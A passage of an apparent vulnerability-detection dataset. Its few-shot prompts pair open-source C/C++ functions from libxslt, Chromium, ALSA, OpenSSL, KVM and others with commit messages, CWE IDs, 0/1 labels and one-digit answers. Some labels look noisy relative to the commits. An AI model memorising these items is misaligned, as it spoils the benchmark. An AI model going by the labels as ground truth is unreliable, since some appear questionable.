NULL) { keylist = xmlXPathNodeSetCreate(cur); if (keylist == NULL) goto error; xmlHashAddEntry(table->keys, str, keylist); } else { /* * TODO: How do we know if this function failed? */ xmlXPathNodeSetAdd(keylist, cur); } switch (cur->type) { case XML_ELEMENT_NODE: case XML_TEXT_NODE: case XML_CDATA_SECTION_NODE: case XML_PI_NODE: case XML_COMMENT_NODE: cur->psvi = keyDef; break; case XML_ATTRIBUTE_NODE: ((xmlAttrPtr) cur)->psvi = keyDef; break; case XML_DOCUMENT_NODE: case XML_HTML_DOCUMENT_NODE: ((xmlDocPtr) cur)->psvi = keyDef; break; default: break; } xmlFree(str); str = NULL; next_string: k++; if (k >= len) break; str = xmlXPathCastNodeToString(useRes->nodesetval->nodeTab[k]); } } exit: error: ctxt->keyInitLevel--; /* * Restore context state. */ xpctxt->doc = oldXPDoc; xpctxt->nsNr = oldXPNsNr; xpctxt->namespaces = oldXPNamespaces; xpctxt->proximityPosition = oldXPPos; xpctxt->contextSize = oldXPSize; ctxt->node = oldContextNode; ctxt->document = oldDocInfo; ctxt->inst = oldInst; if (str) xmlFree(str); if (useRes != NULL) xmlXPathFreeObject(useRes); if (matchRes != NULL) xmlXPathFreeObject(matchRes); return(0); } Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7 BUG=583156,583171 Review URL: https://codereview.chromium.org/1853083002 Cr-Commit-Position: refs/heads/master@{#385338} CWE ID: CWE-119 Target: 1 Example 2: Code: void Document::UpdateStyleAndLayoutIgnorePendingStylesheets( Document::RunPostLayoutTasks run_post_layout_tasks) { LocalFrameView* local_view = View(); if (local_view) local_view->WillStartForcedLayout(); if (!RuntimeEnabledFeatures::CSSInBodyDoesNotBlockPaintEnabled()) UpdateStyleAndLayoutTreeIgnorePendingStylesheets(); UpdateStyleAndLayout(); if (local_view) { if (run_post_layout_tasks == kRunPostLayoutTasksSynchronously) local_view->FlushAnyPendingPostLayoutTasks(); local_view->DidFinishForcedLayout(); } } Commit Message: Inherit the navigation initiator when navigating instead of the parent/opener Spec PR: https://github.com/w3c/webappsec-csp/pull/358 Bug: 905301, 894228, 836148 Change-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a Reviewed-on: https://chromium-review.googlesource.com/c/1314633 Commit-Queue: Andy Paicu <[email protected]> Reviewed-by: Mike West <[email protected]> Cr-Commit-Position: refs/heads/master@{#610850} CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int snd_ctl_elem_user_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo) { struct user_element *ue = kcontrol->private_data; *uinfo = ue->info; return 0; } Commit Message: ALSA: control: Handle numid overflow Each control gets automatically assigned its numids when the control is created. The allocation is done by incrementing the numid by the amount of allocated numids per allocation. This means that excessive creation and destruction of controls (e.g. via SNDRV_CTL_IOCTL_ELEM_ADD/REMOVE) can cause the id to eventually overflow. Currently when this happens for the control that caused the overflow kctl->id.numid + kctl->count will also over flow causing it to be smaller than kctl->id.numid. Most of the code assumes that this is something that can not happen, so we need to make sure that it won't happen Signed-off-by: Lars-Peter Clausen <[email protected]> Acked-by: Jaroslav Kysela <[email protected]> Cc: <[email protected]> Signed-off-by: Takashi Iwai <[email protected]> CWE ID: CWE-189 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: PaintArtifactCompositor::PendingLayer::PendingLayer( const PaintChunk& first_paint_chunk, size_t chunk_index, bool chunk_requires_own_layer) : bounds(first_paint_chunk.bounds), rect_known_to_be_opaque( first_paint_chunk.known_to_be_opaque ? bounds : FloatRect()), property_tree_state(first_paint_chunk.properties.GetPropertyTreeState()), requires_own_layer(chunk_requires_own_layer) { paint_chunk_indices.push_back(chunk_index); } Commit Message: Reland "[CI] Make paint property nodes non-ref-counted" This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7. Reason for revert: Retry in M69. Original change's description: > Revert "[CI] Make paint property nodes non-ref-counted" > > This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123. > > Reason for revert: Caused bugs found by clusterfuzz > > Original change's description: > > [CI] Make paint property nodes non-ref-counted > > > > Now all paint property nodes are owned by ObjectPaintProperties > > (and LocalFrameView temporarily before removing non-RLS mode). > > Others just use raw pointers or references. > > > > Bug: 833496 > > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae > > Reviewed-on: https://chromium-review.googlesource.com/1031101 > > Reviewed-by: Tien-Ren Chen <[email protected]> > > Commit-Queue: Xianzhu Wang <[email protected]> > > Cr-Commit-Position: refs/heads/master@{#554626} > > [email protected],[email protected],[email protected] > > Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f > No-Presubmit: true > No-Tree-Checks: true > No-Try: true > Bug: 833496,837932,837943 > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > Reviewed-on: https://chromium-review.googlesource.com/1034292 > Reviewed-by: Xianzhu Wang <[email protected]> > Commit-Queue: Xianzhu Wang <[email protected]> > Cr-Commit-Position: refs/heads/master@{#554653} [email protected],[email protected],[email protected] # Not skipping CQ checks because original CL landed > 1 day ago. Bug: 833496, 837932, 837943 Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992 Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 Reviewed-on: https://chromium-review.googlesource.com/1083491 Commit-Queue: Xianzhu Wang <[email protected]> Reviewed-by: Xianzhu Wang <[email protected]> Cr-Commit-Position: refs/heads/master@{#563930} CWE ID: Target: 1 Example 2: Code: dump_zeros (struct tar_sparse_file *file, off_t offset) { static char const zero_buf[BLOCKSIZE]; if (offset < file->offset) { errno = EINVAL; return false; } while (file->offset < offset) { size_t size = (BLOCKSIZE < offset - file->offset ? BLOCKSIZE : offset - file->offset); ssize_t wrbytes; wrbytes = write (file->fd, zero_buf, size); if (wrbytes <= 0) { if (wrbytes == 0) errno = EINVAL; return false; } file->offset += wrbytes; } return true; } Commit Message: CWE ID: CWE-835 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: size_t ExtensionInstallPrompt::Prompt::GetPermissionsDetailsCount( PermissionsType permissions_type) const { switch (permissions_type) { case REGULAR_PERMISSIONS: return prompt_permissions_.details.size(); case WITHHELD_PERMISSIONS: return withheld_prompt_permissions_.details.size(); case ALL_PERMISSIONS: return prompt_permissions_.details.size() + withheld_prompt_permissions_.details.size(); default: NOTREACHED(); return 0u; } } Commit Message: Make the webstore inline install dialog be tab-modal Also clean up a few minor lint errors while I'm in here. BUG=550047 Review URL: https://codereview.chromium.org/1496033003 Cr-Commit-Position: refs/heads/master@{#363925} CWE ID: CWE-17 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int x509_crt_verify_child( mbedtls_x509_crt *child, mbedtls_x509_crt *parent, mbedtls_x509_crt *trust_ca, mbedtls_x509_crl *ca_crl, const mbedtls_x509_crt_profile *profile, int path_cnt, int self_cnt, uint32_t *flags, int (*f_vrfy)(void *, mbedtls_x509_crt *, int, uint32_t *), void *p_vrfy ) { int ret; uint32_t parent_flags = 0; unsigned char hash[MBEDTLS_MD_MAX_SIZE]; mbedtls_x509_crt *grandparent; const mbedtls_md_info_t *md_info; /* Counting intermediate self signed certificates */ if( ( path_cnt != 0 ) && x509_name_cmp( &child->issuer, &child->subject ) == 0 ) self_cnt++; /* path_cnt is 0 for the first intermediate CA */ if( 1 + path_cnt > MBEDTLS_X509_MAX_INTERMEDIATE_CA ) { *flags |= MBEDTLS_X509_BADCERT_NOT_TRUSTED; return( MBEDTLS_ERR_X509_CERT_VERIFY_FAILED ); } if( mbedtls_x509_time_is_past( &child->valid_to ) ) *flags |= MBEDTLS_X509_BADCERT_EXPIRED; if( mbedtls_x509_time_is_future( &child->valid_from ) ) *flags |= MBEDTLS_X509_BADCERT_FUTURE; if( x509_profile_check_md_alg( profile, child->sig_md ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_MD; if( x509_profile_check_pk_alg( profile, child->sig_pk ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_PK; md_info = mbedtls_md_info_from_type( child->sig_md ); if( md_info == NULL ) { /* * Cannot check 'unknown' hash */ *flags |= MBEDTLS_X509_BADCERT_NOT_TRUSTED; } else { mbedtls_md( md_info, child->tbs.p, child->tbs.len, hash ); if( x509_profile_check_key( profile, child->sig_pk, &parent->pk ) != 0 ) *flags |= MBEDTLS_X509_BADCERT_BAD_KEY; if( mbedtls_pk_verify_ext( child->sig_pk, child->sig_opts, &parent->pk, child->sig_md, hash, mbedtls_md_get_size( md_info ), child->sig.p, child->sig.len ) != 0 ) { *flags |= MBEDTLS_X509_BADCERT_NOT_TRUSTED; } } #if defined(MBEDTLS_X509_CRL_PARSE_C) /* Check trusted CA's CRL for the given crt */ *flags |= x509_crt_verifycrl(child, parent, ca_crl, profile ); #endif /* Look for a grandparent in trusted CAs */ for( grandparent = trust_ca; grandparent != NULL; grandparent = grandparent->next ) { if( x509_crt_check_parent( parent, grandparent, 0, path_cnt == 0 ) == 0 ) break; } if( grandparent != NULL ) { ret = x509_crt_verify_top( parent, grandparent, ca_crl, profile, path_cnt + 1, self_cnt, &parent_flags, f_vrfy, p_vrfy ); if( ret != 0 ) return( ret ); } else { /* Look for a grandparent upwards the chain */ for( grandparent = parent->next; grandparent != NULL; grandparent = grandparent->next ) { /* +2 because the current step is not yet accounted for * and because max_pathlen is one higher than it should be. * Also self signed certificates do not count to the limit. */ if( grandparent->max_pathlen > 0 && grandparent->max_pathlen < 2 + path_cnt - self_cnt ) { continue; } if( x509_crt_check_parent( parent, grandparent, 0, path_cnt == 0 ) == 0 ) break; } /* Is our parent part of the chain or at the top? */ if( grandparent != NULL ) { ret = x509_crt_verify_child( parent, grandparent, trust_ca, ca_crl, profile, path_cnt + 1, self_cnt, &parent_flags, f_vrfy, p_vrfy ); if( ret != 0 ) return( ret ); } else { ret = x509_crt_verify_top( parent, trust_ca, ca_crl, profile, path_cnt + 1, self_cnt, &parent_flags, f_vrfy, p_vrfy ); if( ret != 0 ) return( ret ); } } /* child is verified to be a child of the parent, call verify callback */ if( NULL != f_vrfy ) if( ( ret = f_vrfy( p_vrfy, child, path_cnt, flags ) ) != 0 ) return( ret ); *flags |= parent_flags; return( 0 ); } Commit Message: Only return VERIFY_FAILED from a single point Everything else is a fatal error. Also improve documentation about that for the vrfy callback. CWE ID: CWE-287 Target: 1 Example 2: Code: static SegmentInfo AffineEdge(const Image *image,const AffineMatrix *affine, const double y,const SegmentInfo *edge) { double intercept, z; register double x; SegmentInfo inverse_edge; /* Determine left and right edges. */ inverse_edge.x1=edge->x1; inverse_edge.y1=edge->y1; inverse_edge.x2=edge->x2; inverse_edge.y2=edge->y2; z=affine->ry*y+affine->tx; if (affine->sx >= MagickEpsilon) { intercept=(-z/affine->sx); x=intercept; if (x > inverse_edge.x1) inverse_edge.x1=x; intercept=(-z+(double) image->columns)/affine->sx; x=intercept; if (x < inverse_edge.x2) inverse_edge.x2=x; } else if (affine->sx < -MagickEpsilon) { intercept=(-z+(double) image->columns)/affine->sx; x=intercept; if (x > inverse_edge.x1) inverse_edge.x1=x; intercept=(-z/affine->sx); x=intercept; if (x < inverse_edge.x2) inverse_edge.x2=x; } else if ((z < 0.0) || ((size_t) floor(z+0.5) >= image->columns)) { inverse_edge.x2=edge->x1; return(inverse_edge); } /* Determine top and bottom edges. */ z=affine->sy*y+affine->ty; if (affine->rx >= MagickEpsilon) { intercept=(-z/affine->rx); x=intercept; if (x > inverse_edge.x1) inverse_edge.x1=x; intercept=(-z+(double) image->rows)/affine->rx; x=intercept; if (x < inverse_edge.x2) inverse_edge.x2=x; } else if (affine->rx < -MagickEpsilon) { intercept=(-z+(double) image->rows)/affine->rx; x=intercept; if (x > inverse_edge.x1) inverse_edge.x1=x; intercept=(-z/affine->rx); x=intercept; if (x < inverse_edge.x2) inverse_edge.x2=x; } else if ((z < 0.0) || ((size_t) floor(z+0.5) >= image->rows)) { inverse_edge.x2=edge->x2; return(inverse_edge); } return(inverse_edge); } Commit Message: Prevent buffer overflow in magick/draw.c CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: BOOL region16_intersect_rect(REGION16* dst, const REGION16* src, const RECTANGLE_16* rect) { REGION16_DATA* newItems; const RECTANGLE_16* srcPtr, *endPtr, *srcExtents; RECTANGLE_16* dstPtr; UINT32 nbRects, usedRects; RECTANGLE_16 common, newExtents; assert(src); assert(src->data); srcPtr = region16_rects(src, &nbRects); if (!nbRects) { region16_clear(dst); return TRUE; } srcExtents = region16_extents(src); if (nbRects == 1) { BOOL intersects = rectangles_intersection(srcExtents, rect, &common); region16_clear(dst); if (intersects) return region16_union_rect(dst, dst, &common); return TRUE; } newItems = allocateRegion(nbRects); if (!newItems) return FALSE; dstPtr = (RECTANGLE_16*)(&newItems[1]); usedRects = 0; ZeroMemory(&newExtents, sizeof(newExtents)); /* accumulate intersecting rectangles, the final region16_simplify_bands() will * do all the bad job to recreate correct rectangles */ for (endPtr = srcPtr + nbRects; (srcPtr < endPtr) && (rect->bottom > srcPtr->top); srcPtr++) { if (rectangles_intersection(srcPtr, rect, &common)) { *dstPtr = common; usedRects++; dstPtr++; if (rectangle_is_empty(&newExtents)) { /* Check if the existing newExtents is empty. If it is empty, use * new common directly. We do not need to check common rectangle * because the rectangles_intersection() ensures that it is not empty. */ newExtents = common; } else { newExtents.top = MIN(common.top, newExtents.top); newExtents.left = MIN(common.left, newExtents.left); newExtents.bottom = MAX(common.bottom, newExtents.bottom); newExtents.right = MAX(common.right, newExtents.right); } } } newItems->nbRects = usedRects; newItems->size = sizeof(REGION16_DATA) + (usedRects * sizeof(RECTANGLE_16)); if ((dst->data->size > 0) && (dst->data != &empty_region)) free(dst->data); dst->data = realloc(newItems, newItems->size); if (!dst->data) { free(newItems); return FALSE; } dst->extents = newExtents; return region16_simplify_bands(dst); } Commit Message: Fixed #5645: realloc return handling CWE ID: CWE-772 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: v8::Handle<v8::Value> V8WebGLRenderingContext::getParameterCallback(const v8::Arguments& args) { INC_STATS("DOM.WebGLRenderingContext.getParameter()"); if (args.Length() != 1) return V8Proxy::throwNotEnoughArgumentsError(); ExceptionCode ec = 0; WebGLRenderingContext* context = V8WebGLRenderingContext::toNative(args.Holder()); unsigned pname = toInt32(args[0]); WebGLGetInfo info = context->getParameter(pname, ec); if (ec) { V8Proxy::setDOMException(ec, args.GetIsolate()); return v8::Undefined(); } return toV8Object(info, args.GetIsolate()); } Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=86983 Reviewed by Adam Barth. The objective is to pass Isolate around in V8 bindings. This patch passes Isolate to throwNotEnoughArgumentsError(). No tests. No change in behavior. * bindings/scripts/CodeGeneratorV8.pm: (GenerateArgumentsCountCheck): (GenerateEventConstructorCallback): * bindings/scripts/test/V8/V8Float64Array.cpp: (WebCore::Float64ArrayV8Internal::fooCallback): * bindings/scripts/test/V8/V8TestActiveDOMObject.cpp: (WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback): (WebCore::TestActiveDOMObjectV8Internal::postMessageCallback): * bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp: (WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback): * bindings/scripts/test/V8/V8TestEventConstructor.cpp: (WebCore::V8TestEventConstructor::constructorCallback): * bindings/scripts/test/V8/V8TestEventTarget.cpp: (WebCore::TestEventTargetV8Internal::itemCallback): (WebCore::TestEventTargetV8Internal::dispatchEventCallback): * bindings/scripts/test/V8/V8TestInterface.cpp: (WebCore::TestInterfaceV8Internal::supplementalMethod2Callback): (WebCore::V8TestInterface::constructorCallback): * bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp: (WebCore::TestMediaQueryListListenerV8Internal::methodCallback): * bindings/scripts/test/V8/V8TestNamedConstructor.cpp: (WebCore::V8TestNamedConstructorConstructorCallback): * bindings/scripts/test/V8/V8TestObj.cpp: (WebCore::TestObjV8Internal::voidMethodWithArgsCallback): (WebCore::TestObjV8Internal::intMethodWithArgsCallback): (WebCore::TestObjV8Internal::objMethodWithArgsCallback): (WebCore::TestObjV8Internal::methodWithSequenceArgCallback): (WebCore::TestObjV8Internal::methodReturningSequenceCallback): (WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback): (WebCore::TestObjV8Internal::serializedValueCallback): (WebCore::TestObjV8Internal::idbKeyCallback): (WebCore::TestObjV8Internal::optionsObjectCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback): (WebCore::TestObjV8Internal::methodWithCallbackArgCallback): (WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback): (WebCore::TestObjV8Internal::overloadedMethod1Callback): (WebCore::TestObjV8Internal::overloadedMethod2Callback): (WebCore::TestObjV8Internal::overloadedMethod3Callback): (WebCore::TestObjV8Internal::overloadedMethod4Callback): (WebCore::TestObjV8Internal::overloadedMethod5Callback): (WebCore::TestObjV8Internal::overloadedMethod6Callback): (WebCore::TestObjV8Internal::overloadedMethod7Callback): (WebCore::TestObjV8Internal::overloadedMethod11Callback): (WebCore::TestObjV8Internal::overloadedMethod12Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback): (WebCore::TestObjV8Internal::convert1Callback): (WebCore::TestObjV8Internal::convert2Callback): (WebCore::TestObjV8Internal::convert3Callback): (WebCore::TestObjV8Internal::convert4Callback): (WebCore::TestObjV8Internal::convert5Callback): (WebCore::TestObjV8Internal::strictFunctionCallback): (WebCore::V8TestObj::constructorCallback): * bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp: (WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback): (WebCore::V8TestSerializedScriptValueInterface::constructorCallback): * bindings/v8/ScriptController.cpp: (WebCore::setValueAndClosePopupCallback): * bindings/v8/V8Proxy.cpp: (WebCore::V8Proxy::throwNotEnoughArgumentsError): * bindings/v8/V8Proxy.h: (V8Proxy): * bindings/v8/custom/V8AudioContextCustom.cpp: (WebCore::V8AudioContext::constructorCallback): * bindings/v8/custom/V8DataViewCustom.cpp: (WebCore::V8DataView::getInt8Callback): (WebCore::V8DataView::getUint8Callback): (WebCore::V8DataView::setInt8Callback): (WebCore::V8DataView::setUint8Callback): * bindings/v8/custom/V8DirectoryEntryCustom.cpp: (WebCore::V8DirectoryEntry::getDirectoryCallback): (WebCore::V8DirectoryEntry::getFileCallback): * bindings/v8/custom/V8IntentConstructor.cpp: (WebCore::V8Intent::constructorCallback): * bindings/v8/custom/V8SVGLengthCustom.cpp: (WebCore::V8SVGLength::convertToSpecifiedUnitsCallback): * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp: (WebCore::getObjectParameter): (WebCore::V8WebGLRenderingContext::getAttachedShadersCallback): (WebCore::V8WebGLRenderingContext::getExtensionCallback): (WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback): (WebCore::V8WebGLRenderingContext::getParameterCallback): (WebCore::V8WebGLRenderingContext::getProgramParameterCallback): (WebCore::V8WebGLRenderingContext::getShaderParameterCallback): (WebCore::V8WebGLRenderingContext::getUniformCallback): (WebCore::vertexAttribAndUniformHelperf): (WebCore::uniformHelperi): (WebCore::uniformMatrixHelper): * bindings/v8/custom/V8WebKitMutationObserverCustom.cpp: (WebCore::V8WebKitMutationObserver::constructorCallback): (WebCore::V8WebKitMutationObserver::observeCallback): * bindings/v8/custom/V8WebSocketCustom.cpp: (WebCore::V8WebSocket::constructorCallback): (WebCore::V8WebSocket::sendCallback): * bindings/v8/custom/V8XMLHttpRequestCustom.cpp: (WebCore::V8XMLHttpRequest::openCallback): git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: Target: 1 Example 2: Code: void RecordUMAStatistics(flags_ui::FlagsStorage* flags_storage) { const std::set<std::string> switches = FlagsStateSingleton::GetFlagsState()->GetSwitchesFromFlags(flags_storage); const std::set<std::string> features = FlagsStateSingleton::GetFlagsState()->GetFeaturesFromFlags(flags_storage); ReportAboutFlagsHistogram("Launch.FlagsAtStartup", switches, features); } Commit Message: [Contextual Search] Change "Now on Tap" to "Contextual Cards" BUG=644934 Review-Url: https://codereview.chromium.org/2361163003 Cr-Commit-Position: refs/heads/master@{#420899} CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void dtls1_clear_queues(SSL *s) { pitem *item = NULL; hm_fragment *frag = NULL; DTLS1_RECORD_DATA *rdata; while( (item = pqueue_pop(s->d1->unprocessed_rcds.q)) != NULL) { rdata = (DTLS1_RECORD_DATA *) item->data; if (rdata->rbuf.buf) { OPENSSL_free(rdata->rbuf.buf); } OPENSSL_free(item->data); pitem_free(item); } while( (item = pqueue_pop(s->d1->processed_rcds.q)) != NULL) { rdata = (DTLS1_RECORD_DATA *) item->data; if (rdata->rbuf.buf) { OPENSSL_free(rdata->rbuf.buf); } OPENSSL_free(item->data); pitem_free(item); } while( (item = pqueue_pop(s->d1->buffered_messages)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } while ( (item = pqueue_pop(s->d1->sent_messages)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } while ( (item = pqueue_pop(s->d1->buffered_app_data.q)) != NULL) { frag = (hm_fragment *)item->data; OPENSSL_free(frag->fragment); OPENSSL_free(frag); pitem_free(item); } } Commit Message: Free up s->d1->buffered_app_data.q properly. PR#3286 CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool TabLifecycleUnitSource::TabLifecycleUnit::CanDiscard( DiscardReason reason, DecisionDetails* decision_details) const { DCHECK(decision_details->reasons().empty()); if (!tab_strip_model_) return false; const LifecycleUnitState target_state = reason == DiscardReason::kProactive && GetState() != LifecycleUnitState::FROZEN ? LifecycleUnitState::PENDING_DISCARD : LifecycleUnitState::DISCARDED; if (!IsValidStateChange(GetState(), target_state, DiscardReasonToStateChangeReason(reason))) { return false; } if (GetWebContents()->IsCrashed()) return false; if (!GetWebContents()->GetLastCommittedURL().is_valid() || GetWebContents()->GetLastCommittedURL().is_empty()) { return false; } if (discard_count_ > 0) { #if defined(OS_CHROMEOS) if (reason != DiscardReason::kUrgent) return false; #else return false; #endif // defined(OS_CHROMEOS) } #if defined(OS_CHROMEOS) if (GetWebContents()->GetVisibility() == content::Visibility::VISIBLE) decision_details->AddReason(DecisionFailureReason::LIVE_STATE_VISIBLE); #else if (tab_strip_model_->GetActiveWebContents() == GetWebContents()) decision_details->AddReason(DecisionFailureReason::LIVE_STATE_VISIBLE); #endif // defined(OS_CHROMEOS) if (GetWebContents()->GetPageImportanceSignals().had_form_interaction) decision_details->AddReason(DecisionFailureReason::LIVE_STATE_FORM_ENTRY); IsMediaTabImpl(decision_details); if (GetWebContents()->GetContentsMimeType() == "application/pdf") decision_details->AddReason(DecisionFailureReason::LIVE_STATE_IS_PDF); if (!IsAutoDiscardable()) { decision_details->AddReason( DecisionFailureReason::LIVE_STATE_EXTENSION_DISALLOWED); } if (decision_details->reasons().empty()) { decision_details->AddReason( DecisionSuccessReason::HEURISTIC_OBSERVED_TO_BE_SAFE); DCHECK(decision_details->IsPositive()); } return decision_details->IsPositive(); } Commit Message: Connect the LocalDB to TabManager. Bug: 773382 Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099 Reviewed-on: https://chromium-review.googlesource.com/1118611 Commit-Queue: Sébastien Marchand <[email protected]> Reviewed-by: François Doray <[email protected]> Cr-Commit-Position: refs/heads/master@{#572871} CWE ID: Target: 1 Example 2: Code: void AuthenticatorSheetModelBase::OnAccept() { NOTREACHED(); } Commit Message: chrome/browser/ui/webauthn: long domains may cause a line break. As requested by UX in [1], allow long host names to split a title into two lines. This allows us to show more of the name before eliding, although sufficiently long names will still trigger elision. Screenshot at https://drive.google.com/open?id=1_V6t2CeZDAVazy3Px-OET2LnB__aEW1r. [1] https://docs.google.com/presentation/d/1TtxkPUchyVZulqgdMcfui-68B0W-DWaFFVJEffGIbLA/edit#slide=id.g5913c4105f_1_12 Change-Id: I70f6541e0db3e9942239304de43b487a7561ca34 Bug: 870892 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1601812 Auto-Submit: Adam Langley <[email protected]> Commit-Queue: Nina Satragno <[email protected]> Reviewed-by: Nina Satragno <[email protected]> Cr-Commit-Position: refs/heads/master@{#658114} CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int handle_invvpid(struct kvm_vcpu *vcpu) { struct vcpu_vmx *vmx = to_vmx(vcpu); u32 vmx_instruction_info; unsigned long type, types; gva_t gva; struct x86_exception e; int vpid; if (!(vmx->nested.nested_vmx_secondary_ctls_high & SECONDARY_EXEC_ENABLE_VPID) || !(vmx->nested.nested_vmx_vpid_caps & VMX_VPID_INVVPID_BIT)) { kvm_queue_exception(vcpu, UD_VECTOR); return 1; } if (!nested_vmx_check_permission(vcpu)) return 1; vmx_instruction_info = vmcs_read32(VMX_INSTRUCTION_INFO); type = kvm_register_readl(vcpu, (vmx_instruction_info >> 28) & 0xf); types = (vmx->nested.nested_vmx_vpid_caps >> 8) & 0x7; if (!(types & (1UL << type))) { nested_vmx_failValid(vcpu, VMXERR_INVALID_OPERAND_TO_INVEPT_INVVPID); return 1; } /* according to the intel vmx instruction reference, the memory * operand is read even if it isn't needed (e.g., for type==global) */ if (get_vmx_mem_address(vcpu, vmcs_readl(EXIT_QUALIFICATION), vmx_instruction_info, false, &gva)) return 1; if (kvm_read_guest_virt(&vcpu->arch.emulate_ctxt, gva, &vpid, sizeof(u32), &e)) { kvm_inject_page_fault(vcpu, &e); return 1; } switch (type) { case VMX_VPID_EXTENT_ALL_CONTEXT: if (get_vmcs12(vcpu)->virtual_processor_id == 0) { nested_vmx_failValid(vcpu, VMXERR_INVALID_OPERAND_TO_INVEPT_INVVPID); return 1; } __vmx_flush_tlb(vcpu, to_vmx(vcpu)->nested.vpid02); nested_vmx_succeed(vcpu); break; default: /* Trap single context invalidation invvpid calls */ BUG_ON(1); break; } skip_emulated_instruction(vcpu); return 1; } Commit Message: KVM: x86: work around infinite loop in microcode when #AC is delivered It was found that a guest can DoS a host by triggering an infinite stream of "alignment check" (#AC) exceptions. This causes the microcode to enter an infinite loop where the core never receives another interrupt. The host kernel panics pretty quickly due to the effects (CVE-2015-5307). Signed-off-by: Eric Northup <[email protected]> Cc: [email protected] Signed-off-by: Paolo Bonzini <[email protected]> CWE ID: CWE-399 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int inet6_csk_xmit(struct sock *sk, struct sk_buff *skb, struct flowi *fl_unused) { struct ipv6_pinfo *np = inet6_sk(sk); struct flowi6 fl6; struct dst_entry *dst; int res; dst = inet6_csk_route_socket(sk, &fl6); if (IS_ERR(dst)) { sk->sk_err_soft = -PTR_ERR(dst); sk->sk_route_caps = 0; kfree_skb(skb); return PTR_ERR(dst); } rcu_read_lock(); skb_dst_set_noref(skb, dst); /* Restore final destination back after routing done */ fl6.daddr = sk->sk_v6_daddr; res = ip6_xmit(sk, skb, &fl6, np->opt, np->tclass); rcu_read_unlock(); return res; } Commit Message: ipv6: add complete rcu protection around np->opt This patch addresses multiple problems : UDP/RAW sendmsg() need to get a stable struct ipv6_txoptions while socket is not locked : Other threads can change np->opt concurrently. Dmitry posted a syzkaller (http://github.com/google/syzkaller) program desmonstrating use-after-free. Starting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock() and dccp_v6_request_recv_sock() also need to use RCU protection to dereference np->opt once (before calling ipv6_dup_options()) This patch adds full RCU protection to np->opt Reported-by: Dmitry Vyukov <[email protected]> Signed-off-by: Eric Dumazet <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-416 Target: 1 Example 2: Code: static unsigned int snd_timer_user_poll(struct file *file, poll_table * wait) { unsigned int mask; struct snd_timer_user *tu; tu = file->private_data; poll_wait(file, &tu->qchange_sleep, wait); mask = 0; if (tu->qused) mask |= POLLIN | 